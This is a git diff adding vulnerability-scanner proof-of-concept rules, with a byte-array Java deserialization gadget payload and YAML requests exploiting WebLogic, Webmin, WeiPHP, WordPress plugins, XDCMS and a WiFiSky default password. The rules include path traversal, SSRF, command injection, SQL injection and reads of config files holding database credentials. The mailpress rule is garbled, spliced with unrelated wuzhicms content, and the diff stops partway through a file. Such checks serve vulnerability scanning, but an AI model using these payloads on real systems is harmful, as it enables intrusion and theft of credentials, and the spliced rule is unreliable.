+ 0
+
+
+ 21
+
+
+ 0
+
+
+ 22
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 23
+
+
+ 0
+
+
+ 24
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 25
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 4
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 26
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 19
+
+
+ 0
+
+
+ 27
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 12
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 73
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 4
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ -79
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 13
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 6
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 50
+
+
+ 0
+
+
+ 14
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 42
+
+
+ 0
+
+
+ 4
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 15
+
+
+ 0
+
+
+ 98
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 21
+
+
+ 0
+
+
+ 22
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 28
+
+
+ 0
+
+
+ 29
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 30
+
+
+ 0
+
+
+ 31
+
+
+ 0
+
+
+ 3
+
+
+ 0
+
+
+ 25
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 4
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 26
+
+
+ 0
+
+
+ 8
+
+
+ 0
+
+
+ 41
+
+
+ 0
+
+
+ 11
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 12
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 81
+
+
+ 0
+
+
+ 6
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 60
+
+
+ -89
+
+
+ 0
+
+
+ 3
+
+
+ 1
+
+
+ 76
+
+
+ -69
+
+
+ 0
+
+
+ 43
+
+
+ 89
+
+
+ -69
+
+
+ 0
+
+
+ 45
+
+
+ 89
+
+
+ -73
+
+
+ 0
+
+
+ 46
+
+
+ -72
+
+
+ 0
+
+
+ 52
+
+
+ -74
+
+
+ 0
+
+
+ 56
+
+
+ 18
+
+
+ 58
+
+
+ -74
+
+
+ 0
+
+
+ 64
+
+
+ -74
+
+
+ 0
+
+
+ 70
+
+
+ -74
+
+
+ 0
+
+
+ 74
+
+
+ 18
+
+
+ 76
+
+
+ -74
+
+
+ 0
+
+
+ 74
+
+
+ -74
+
+
+ 0
+
+
+ 79
+
+
+ -73
+
+
+ 0
+
+
+ 82
+
+
+ -69
+
+
+ 0
+
+
+ 84
+
+
+ 89
+
+
+ 18
+
+
+ 86
+
+
+ -73
+
+
+ 0
+
+
+ 87
+
+
+ -74
+
+
+ 0
+
+
+ 92
+
+
+ -74
+
+
+ 0
+
+
+ 95
+
+
+ -79
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 96
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 3
+
+
+ 0
+
+
+ 1
+
+
+ 3
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 32
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 33
+
+
+ 0
+
+
+ 17
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 10
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 35
+
+
+ 0
+
+
+ 16
+
+
+ 0
+
+
+ 9
+
+
+ 117
+
+
+ 113
+
+
+ 0
+
+
+ 126
+
+
+ 0
+
+
+ 11
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ -44
+
+
+ -54
+
+
+ -2
+
+
+ -70
+
+
+ -66
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 50
+
+
+ 0
+
+
+ 27
+
+
+ 10
+
+
+ 0
+
+
+ 3
+
+
+ 0
+
+
+ 21
+
+
+ 7
+
+
+ 0
+
+
+ 23
+
+
+ 7
+
+
+ 0
+
+
+ 24
+
+
+ 7
+
+
+ 0
+
+
+ 25
+
+
+ 1
+
+
+ 0
+
+
+ 16
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 86
+
+
+ 101
+
+
+ 114
+
+
+ 115
+
+
+ 105
+
+
+ 111
+
+
+ 110
+
+
+ 85
+
+
+ 73
+
+
+ 68
+
+
+ 1
+
+
+ 0
+
+
+ 1
+
+
+ 74
+
+
+ 1
+
+
+ 0
+
+
+ 13
+
+
+ 67
+
+
+ 111
+
+
+ 110
+
+
+ 115
+
+
+ 116
+
+
+ 97
+
+
+ 110
+
+
+ 116
+
+
+ 86
+
+
+ 97
+
+
+ 108
+
+
+ 117
+
+
+ 101
+
+
+ 5
+
+
+ 113
+
+
+ -26
+
+
+ 105
+
+
+ -18
+
+
+ 60
+
+
+ 109
+
+
+ 71
+
+
+ 24
+
+
+ 1
+
+
+ 0
+
+
+ 6
+
+
+ 60
+
+
+ 105
+
+
+ 110
+
+
+ 105
+
+
+ 116
+
+
+ 62
+
+
+ 1
+
+
+ 0
+
+
+ 3
+
+
+ 40
+
+
+ 41
+
+
+ 86
+
+
+ 1
+
+
+ 0
+
+
+ 4
+
+
+ 67
+
+
+ 111
+
+
+ 100
+
+
+ 101
+
+
+ 1
+
+
+ 0
+
+
+ 15
+
+
+ 76
+
+
+ 105
+
+
+ 110
+
+
+ 101
+
+
+ 78
+
+
+ 117
+
+
+ 109
+
+
+ 98
+
+
+ 101
+
+
+ 114
+
+
+ 84
+
+
+ 97
+
+
+ 98
+
+
+ 108
+
+
+ 101
+
+
+ 1
+
+
+ 0
+
+
+ 18
+
+
+ 76
+
+
+ 111
+
+
+ 99
+
+
+ 97
+
+
+ 108
+
+
+ 86
+
+
+ 97
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 98
+
+
+ 108
+
+
+ 101
+
+
+ 84
+
+
+ 97
+
+
+ 98
+
+
+ 108
+
+
+ 101
+
+
+ 1
+
+
+ 0
+
+
+ 4
+
+
+ 116
+
+
+ 104
+
+
+ 105
+
+
+ 115
+
+
+ 1
+
+
+ 0
+
+
+ 3
+
+
+ 70
+
+
+ 111
+
+
+ 111
+
+
+ 1
+
+
+ 0
+
+
+ 12
+
+
+ 73
+
+
+ 110
+
+
+ 110
+
+
+ 101
+
+
+ 114
+
+
+ 67
+
+
+ 108
+
+
+ 97
+
+
+ 115
+
+
+ 115
+
+
+ 101
+
+
+ 115
+
+
+ 1
+
+
+ 0
+
+
+ 37
+
+
+ 76
+
+
+ 121
+
+
+ 115
+
+
+ 111
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 112
+
+
+ 97
+
+
+ 121
+
+
+ 108
+
+
+ 111
+
+
+ 97
+
+
+ 100
+
+
+ 115
+
+
+ 47
+
+
+ 117
+
+
+ 116
+
+
+ 105
+
+
+ 108
+
+
+ 47
+
+
+ 71
+
+
+ 97
+
+
+ 100
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 115
+
+
+ 36
+
+
+ 70
+
+
+ 111
+
+
+ 111
+
+
+ 59
+
+
+ 1
+
+
+ 0
+
+
+ 10
+
+
+ 83
+
+
+ 111
+
+
+ 117
+
+
+ 114
+
+
+ 99
+
+
+ 101
+
+
+ 70
+
+
+ 105
+
+
+ 108
+
+
+ 101
+
+
+ 1
+
+
+ 0
+
+
+ 12
+
+
+ 71
+
+
+ 97
+
+
+ 100
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 115
+
+
+ 46
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 12
+
+
+ 0
+
+
+ 10
+
+
+ 0
+
+
+ 11
+
+
+ 7
+
+
+ 0
+
+
+ 26
+
+
+ 1
+
+
+ 0
+
+
+ 35
+
+
+ 121
+
+
+ 115
+
+
+ 111
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 112
+
+
+ 97
+
+
+ 121
+
+
+ 108
+
+
+ 111
+
+
+ 97
+
+
+ 100
+
+
+ 115
+
+
+ 47
+
+
+ 117
+
+
+ 116
+
+
+ 105
+
+
+ 108
+
+
+ 47
+
+
+ 71
+
+
+ 97
+
+
+ 100
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 115
+
+
+ 36
+
+
+ 70
+
+
+ 111
+
+
+ 111
+
+
+ 1
+
+
+ 0
+
+
+ 16
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 79
+
+
+ 98
+
+
+ 106
+
+
+ 101
+
+
+ 99
+
+
+ 116
+
+
+ 1
+
+
+ 0
+
+
+ 20
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 105
+
+
+ 111
+
+
+ 47
+
+
+ 83
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 105
+
+
+ 122
+
+
+ 97
+
+
+ 98
+
+
+ 108
+
+
+ 101
+
+
+ 1
+
+
+ 0
+
+
+ 31
+
+
+ 121
+
+
+ 115
+
+
+ 111
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 112
+
+
+ 97
+
+
+ 121
+
+
+ 108
+
+
+ 111
+
+
+ 97
+
+
+ 100
+
+
+ 115
+
+
+ 47
+
+
+ 117
+
+
+ 116
+
+
+ 105
+
+
+ 108
+
+
+ 47
+
+
+ 71
+
+
+ 97
+
+
+ 100
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 115
+
+
+ 0
+
+
+ 33
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 3
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 4
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 26
+
+
+ 0
+
+
+ 5
+
+
+ 0
+
+
+ 6
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 7
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 8
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 10
+
+
+ 0
+
+
+ 11
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 12
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 47
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 5
+
+
+ 42
+
+
+ -73
+
+
+ 0
+
+
+ 1
+
+
+ -79
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 13
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 6
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 54
+
+
+ 0
+
+
+ 14
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 12
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 5
+
+
+ 0
+
+
+ 15
+
+
+ 0
+
+
+ 18
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 19
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 20
+
+
+ 0
+
+
+ 17
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 10
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 22
+
+
+ 0
+
+
+ 16
+
+
+ 0
+
+
+ 9
+
+
+ 112
+
+
+ 116
+
+
+ 0
+
+
+ 4
+
+
+ 80
+
+
+ 119
+
+
+ 110
+
+
+ 114
+
+
+ 112
+
+
+ 119
+
+
+ 1
+
+
+ 0
+
+
+ 120
+
+
+ 115
+
+
+ 125
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 29
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 120
+
+
+ 46
+
+
+ 120
+
+
+ 109
+
+
+ 108
+
+
+ 46
+
+
+ 116
+
+
+ 114
+
+
+ 97
+
+
+ 110
+
+
+ 115
+
+
+ 102
+
+
+ 111
+
+
+ 114
+
+
+ 109
+
+
+ 46
+
+
+ 84
+
+
+ 101
+
+
+ 109
+
+
+ 112
+
+
+ 108
+
+
+ 97
+
+
+ 116
+
+
+ 101
+
+
+ 115
+
+
+ 120
+
+
+ 114
+
+
+ 0
+
+
+ 23
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 46
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 46
+
+
+ 114
+
+
+ 101
+
+
+ 102
+
+
+ 108
+
+
+ 101
+
+
+ 99
+
+
+ 116
+
+
+ 46
+
+
+ 80
+
+
+ 114
+
+
+ 111
+
+
+ 120
+
+
+ 121
+
+
+ -31
+
+
+ 39
+
+
+ -38
+
+
+ 32
+
+
+ -52
+
+
+ 16
+
+
+ 67
+
+
+ -53
+
+
+ 2
+
+
+ 0
+
+
+ 1
+
+
+ 76
+
+
+ 0
+
+
+ 1
+
+
+ 104
+
+
+ 116
+
+
+ 0
+
+
+ 37
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 114
+
+
+ 101
+
+
+ 102
+
+
+ 108
+
+
+ 101
+
+
+ 99
+
+
+ 116
+
+
+ 47
+
+
+ 73
+
+
+ 110
+
+
+ 118
+
+
+ 111
+
+
+ 99
+
+
+ 97
+
+
+ 116
+
+
+ 105
+
+
+ 111
+
+
+ 110
+
+
+ 72
+
+
+ 97
+
+
+ 110
+
+
+ 100
+
+
+ 108
+
+
+ 101
+
+
+ 114
+
+
+ 59
+
+
+ 120
+
+
+ 112
+
+
+ 115
+
+
+ 114
+
+
+ 0
+
+
+ 50
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 46
+
+
+ 114
+
+
+ 101
+
+
+ 102
+
+
+ 108
+
+
+ 101
+
+
+ 99
+
+
+ 116
+
+
+ 46
+
+
+ 97
+
+
+ 110
+
+
+ 110
+
+
+ 111
+
+
+ 116
+
+
+ 97
+
+
+ 116
+
+
+ 105
+
+
+ 111
+
+
+ 110
+
+
+ 46
+
+
+ 65
+
+
+ 110
+
+
+ 110
+
+
+ 111
+
+
+ 116
+
+
+ 97
+
+
+ 116
+
+
+ 105
+
+
+ 111
+
+
+ 110
+
+
+ 73
+
+
+ 110
+
+
+ 118
+
+
+ 111
+
+
+ 99
+
+
+ 97
+
+
+ 116
+
+
+ 105
+
+
+ 111
+
+
+ 110
+
+
+ 72
+
+
+ 97
+
+
+ 110
+
+
+ 100
+
+
+ 108
+
+
+ 101
+
+
+ 114
+
+
+ 85
+
+
+ -54
+
+
+ -11
+
+
+ 15
+
+
+ 21
+
+
+ -53
+
+
+ 126
+
+
+ -91
+
+
+ 2
+
+
+ 0
+
+
+ 2
+
+
+ 76
+
+
+ 0
+
+
+ 12
+
+
+ 109
+
+
+ 101
+
+
+ 109
+
+
+ 98
+
+
+ 101
+
+
+ 114
+
+
+ 86
+
+
+ 97
+
+
+ 108
+
+
+ 117
+
+
+ 101
+
+
+ 115
+
+
+ 116
+
+
+ 0
+
+
+ 15
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 117
+
+
+ 116
+
+
+ 105
+
+
+ 108
+
+
+ 47
+
+
+ 77
+
+
+ 97
+
+
+ 112
+
+
+ 59
+
+
+ 76
+
+
+ 0
+
+
+ 4
+
+
+ 116
+
+
+ 121
+
+
+ 112
+
+
+ 101
+
+
+ 116
+
+
+ 0
+
+
+ 17
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 67
+
+
+ 108
+
+
+ 97
+
+
+ 115
+
+
+ 115
+
+
+ 59
+
+
+ 120
+
+
+ 112
+
+
+ 115
+
+
+ 114
+
+
+ 0
+
+
+ 17
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 46
+
+
+ 117
+
+
+ 116
+
+
+ 105
+
+
+ 108
+
+
+ 46
+
+
+ 72
+
+
+ 97
+
+
+ 115
+
+
+ 104
+
+
+ 77
+
+
+ 97
+
+
+ 112
+
+
+ 5
+
+
+ 7
+
+
+ -38
+
+
+ -63
+
+
+ -61
+
+
+ 22
+
+
+ 96
+
+
+ -47
+
+
+ 3
+
+
+ 0
+
+
+ 2
+
+
+ 70
+
+
+ 0
+
+
+ 10
+
+
+ 108
+
+
+ 111
+
+
+ 97
+
+
+ 100
+
+
+ 70
+
+
+ 97
+
+
+ 99
+
+
+ 116
+
+
+ 111
+
+
+ 114
+
+
+ 73
+
+
+ 0
+
+
+ 9
+
+
+ 116
+
+
+ 104
+
+
+ 114
+
+
+ 101
+
+
+ 115
+
+
+ 104
+
+
+ 111
+
+
+ 108
+
+
+ 100
+
+
+ 120
+
+
+ 112
+
+
+ 63
+
+
+ 64
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 12
+
+
+ 119
+
+
+ 8
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 16
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ 116
+
+
+ 0
+
+
+ 8
+
+
+ 102
+
+
+ 53
+
+
+ 97
+
+
+ 53
+
+
+ 97
+
+
+ 54
+
+
+ 48
+
+
+ 56
+
+
+ 113
+
+
+ 0
+
+
+ 126
+
+
+ 0
+
+
+ 8
+
+
+ 120
+
+
+ 118
+
+
+ 114
+
+
+ 0
+
+
+ 29
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 120
+
+
+ 46
+
+
+ 120
+
+
+ 109
+
+
+ 108
+
+
+ 46
+
+
+ 116
+
+
+ 114
+
+
+ 97
+
+
+ 110
+
+
+ 115
+
+
+ 102
+
+
+ 111
+
+
+ 114
+
+
+ 109
+
+
+ 46
+
+
+ 84
+
+
+ 101
+
+
+ 109
+
+
+ 112
+
+
+ 108
+
+
+ 97
+
+
+ 116
+
+
+ 101
+
+
+ 115
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 120
+
+
+ 112
+
+
+ 120
+
+
+
+
+
+
+
+
+
+
+
+ follow_redirects: false
+ expression: 'response.status == 202'
+ - method: GET
+ path: /_async/favicon.ico
+ follow_redirects: false
+ expression: 'response.status == 200 && response.body.bcontains(b"Vulnerable")'
\ No newline at end of file
diff --git a/webscan/pocs/weblogic-cve-2020-14750.yml b/webscan/pocs/weblogic-cve-2020-14750.yml
new file mode 100644
index 0000000..7129c38
--- /dev/null
+++ b/webscan/pocs/weblogic-cve-2020-14750.yml
@@ -0,0 +1,12 @@
+name: poc-yaml-weblogic-cve-2020-14750
+rules:
+ - method: GET
+ path: /console/images/%252E./console.portal
+ follow_redirects: false
+ expression: |
+ response.status == 302 && (response.body.bcontains(bytes("/console/console.portal")) || response.body.bcontains(bytes("/console/jsp/common/NoJMX.jsp")))
+detail:
+ author: canc3s(https://github.com/canc3s),Soveless(https://github.com/Soveless)
+ weblogic_version: 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0
+ links:
+ - https://www.oracle.com/security-alerts/alert-cve-2020-14750.html
diff --git a/webscan/pocs/weblogic-ssrf.yml b/webscan/pocs/weblogic-ssrf.yml
new file mode 100644
index 0000000..1c84c1c
--- /dev/null
+++ b/webscan/pocs/weblogic-ssrf.yml
@@ -0,0 +1,11 @@
+name: poc-yaml-weblogic-ssrf
+rules:
+ - method: GET
+ path: >-
+ /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.1.1.1:700
+ headers:
+ Cookie: >-
+ publicinquiryurls=http://www-3.ibm.com/services/uddi/inquiryapi!IBM|http://www-3.ibm.com/services/uddi/v2beta/inquiryapi!IBM V2|http://uddi.rte.microsoft.com/inquire!Microsoft|http://services.xmethods.net/glue/inquire/uddi!XMethods|;
+ follow_redirects: false
+ expression: >-
+ response.status == 200 && (response.body.bcontains(b"'127.1.1.1', port: '700'") || response.body.bcontains(b"Socket Closed"))
diff --git a/webscan/pocs/webmin-cve-2019-15107-rce.yml b/webscan/pocs/webmin-cve-2019-15107-rce.yml
new file mode 100644
index 0000000..91489f4
--- /dev/null
+++ b/webscan/pocs/webmin-cve-2019-15107-rce.yml
@@ -0,0 +1,19 @@
+name: poc-yaml-webmin-cve-2019-15107-rce
+set:
+ r1: randomInt(800000000, 1000000000)
+ r2: randomInt(800000000, 1000000000)
+ url: request.url
+rules:
+ - method: POST
+ path: /password_change.cgi
+ headers:
+ Referer: "{{url}}"
+ body: user=roovt&pam=&expired=2&old=expr%20{{r1}}%20%2b%20{{r2}}&new1=test2&new2=test2
+ follow_redirects: false
+ expression: >
+ response.body.bcontains(bytes(string(r1 + r2)))
+detail:
+ author: danta
+ description: Webmin 远程命令执行漏洞(CVE-2019-15107)
+ links:
+ - https://github.com/vulhub/vulhub/tree/master/webmin/CVE-2019-15107
diff --git a/webscan/pocs/weiphp-path-traversal.yml b/webscan/pocs/weiphp-path-traversal.yml
new file mode 100644
index 0000000..ecf718c
--- /dev/null
+++ b/webscan/pocs/weiphp-path-traversal.yml
@@ -0,0 +1,23 @@
+name: poc-yaml-weiphp-path-traversal
+rules:
+ - method: POST
+ path: /public/index.php/material/Material/_download_imgage?media_id=1&picUrl=./../config/database.php
+ body: |
+ "1":1
+ expression:
+ response.status == 200
+ - method: GET
+ path: /public/index.php/home/file/user_pics
+ search: |
+ /public/uploads/picture/(?P
.+?)"
+ expression:
+ response.status == 200
+ - method: GET
+ path: /public/uploads/picture/{{img}}
+ expression:
+ response.status == 200 && response.body.bcontains(b"data_auth_key") && response.body.bcontains(b"WeiPHP")
+detail:
+ author: sakura404x
+ version: Weiphp<=5.0
+ links:
+ - http://wiki.peiqi.tech/PeiQi_Wiki/CMS%E6%BC%8F%E6%B4%9E/Weiphp/Weiphp5.0%20%E5%89%8D%E5%8F%B0%E6%96%87%E4%BB%B6%E4%BB%BB%E6%84%8F%E8%AF%BB%E5%8F%96%20CNVD-2020-68596.html
diff --git a/webscan/pocs/weiphp-sql.yml b/webscan/pocs/weiphp-sql.yml
new file mode 100644
index 0000000..da2980c
--- /dev/null
+++ b/webscan/pocs/weiphp-sql.yml
@@ -0,0 +1,13 @@
+name: poc-yaml-weiphp-sql
+set:
+ rand: randomInt(200000000, 210000000)
+rules:
+ - method: GET
+ path: /public/index.php/home/index/bind_follow/?publicid=1&is_ajax=1&uid[0]=exp&uid[1]=)%20and%20updatexml(1,concat(0x7e,md5({{rand}}),0x7e),1)--+
+ expression:
+ response.body.bcontains(bytes(substr(md5(string(rand)), 0, 31)))
+detail:
+ author: sakura404x
+ version: Weiphp<=5.0
+ links:
+ - https://github.com/Y4er/Y4er.com/blob/15f49973707f9d526a059470a074cb6e38a0e1ba/content/post/weiphp-exp-sql.md
diff --git a/webscan/pocs/wifisky-default-password-cnvd-2021-39012.yml b/webscan/pocs/wifisky-default-password-cnvd-2021-39012.yml
new file mode 100644
index 0000000..4af3e12
--- /dev/null
+++ b/webscan/pocs/wifisky-default-password-cnvd-2021-39012.yml
@@ -0,0 +1,13 @@
+name: poc-yaml-wifisky-default-password-cnvd-2021-39012
+rules:
+ - method: POST
+ path: /login.php?action=login&type=admin
+ follow_redirects: false
+ body: >-
+ username=admin&password=admin
+ expression: |
+ response.status == 200 && response.body.bcontains(b"{\"success\":\"true\", \"data\":{\"id\":1}, \"alert\":\"您正在使用默认密码登录,为保证设备安全,请立即修改密码\"}")
+detail:
+ author: Print1n(http://print1n.top)
+ links:
+ - https://www.cnvd.org.cn/flaw/show/CNVD-2021-39012
\ No newline at end of file
diff --git a/webscan/pocs/wordpress-cve-2019-19985-infoleak.yml b/webscan/pocs/wordpress-cve-2019-19985-infoleak.yml
new file mode 100644
index 0000000..5d75468
--- /dev/null
+++ b/webscan/pocs/wordpress-cve-2019-19985-infoleak.yml
@@ -0,0 +1,11 @@
+name: poc-yaml-wordpress-cve-2019-19985-infoleak
+rules:
+ - method: GET
+ path: "/wp-admin/admin.php?page=download_report&report=users&status=all"
+ follow_redirects: false
+ expression: >
+ response.status == 200 && response.body.bcontains(b"Name,Email,Status,Created") && "(?i)filename=.*?.csv".bmatches(bytes(response.headers["Content-Disposition"]))
+detail:
+ author: bufsnake(https://github.com/bufsnake)
+ links:
+ - https://www.exploit-db.com/exploits/48698
diff --git a/webscan/pocs/wordpress-ext-adaptive-images-lfi.yml b/webscan/pocs/wordpress-ext-adaptive-images-lfi.yml
new file mode 100644
index 0000000..a26f05d
--- /dev/null
+++ b/webscan/pocs/wordpress-ext-adaptive-images-lfi.yml
@@ -0,0 +1,13 @@
+name: poc-yaml-wordpress-ext-adaptive-images-lfi
+rules:
+ - method: GET
+ path: >-
+ /wp-content/plugins/adaptive-images/adaptive-images-script.php?adaptive-images-settings[source_file]=../../../wp-config.php
+ follow_redirects: false
+ expression: >
+ response.status == 200 && response.body.bcontains(b"DB_NAME") && response.body.bcontains(b"DB_USER") && response.body.bcontains(b"DB_PASSWORD") && response.body.bcontains(b"DB_HOST")
+detail:
+ author: FiveAourThe(https://github.com/FiveAourThe)
+ links:
+ - https://www.anquanke.com/vul/id/1674598
+ - https://github.com/security-kma/EXPLOITING-CVE-2019-14205
diff --git a/webscan/pocs/wordpress-ext-mailpress-rce.yml b/webscan/pocs/wordpress-ext-mailpress-rce.yml
new file mode 100644
index 0000000..523b0f2
--- /dev/null
+++ b/webscan/pocs/wordpress-ext-mailpress-rce.yml
@@ -0,0 +1,23 @@
+name: poc-yaml-wordpress-ext-mailpress-rce
+set:
+ r: randomInt(800000000, 1000000000)
+ r1: randomInt(800000000, 1000000000)
+rules:
+ - method: POST
+ path: "/wp-content/plugins/mailpress/mp-includes/action.php"
+ headers:
+ Content-Type: application/x-www-form-urlencoded
+ body: |
+ action=autosave&id=0&revision=-1&toemail=&toname=&fromemail=&fromname=&to_list=1&Theme=&subject=&html=&plaintext=&mail_format=standard&autosave=1
+ expression: "true"
+ search: |
+ -
+ /api/sms_check.php?param=1%27%20and%20updatexml(1,concat(0x7e,(SELECT%20MD5(1234)),0x7e),1)--%20
+ follow_redirects: false
+ expression: |
+ response.status == 200 && response.body.bcontains(b"81dc9bdb52d04dc20036dbd8313ed05") && response.body.bcontains(b"sql_error:MySQL Query Error")
+detail:
+ author: leezp
+ Affected Version: "wuzhicms-v4.1.0"
+ vuln_url: "/api/sms_check.php"
+ links:
+ - https://github.com/wuzhicms/wuzhicms/issues/184
diff --git a/webscan/pocs/xdcms-sql.yml b/webscan/pocs/xdcms-sql.yml
new file mode 100644
index 0000000..07541c1
--- /dev/null
+++ b/webscan/pocs/xdcms-sql.yml
@@ -0,0 +1,15 @@
+name: poc-yaml-xdcms-sql
+set:
+ r1: randomInt(800000000, 1000000000)
+ r2: randomInt(800000000, 1000000000)
+rules:
+ - method: POST
+ path: "/index.php?m=member&f=login_save"
+ body: |
+ username=dd' or extractvalue(0x0a,concat(0x0a,{{r1}}*{{r2}}))#&password=dd&submit=+%B5%C7+%C2%BC+
+ expression: |
+ response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))
+detail:
+ author: amos1
+ links:
+ - https://www.uedbox.com/post/35188/
diff --git a/webscan/pocs/xiuno-bbs-cvnd-2019-01348-reinstallation.yml b/webscan/pocs/xiuno-bbs-cvnd-2019-01348-reinstallation.yml
new file mode 100644
index 0000000..f0cc2a7
--- /dev/null
+++ b/webscan/pocs/xiuno-bbs-cvnd-2019-01348-reinstallation.yml
@@ -0,0 +1,14 @@
+name: poc-yaml-xiuno-bbs-cvnd-2019-01348-reinstallation
+rules:
+ - method: GET
+ path: /install/
+ headers:
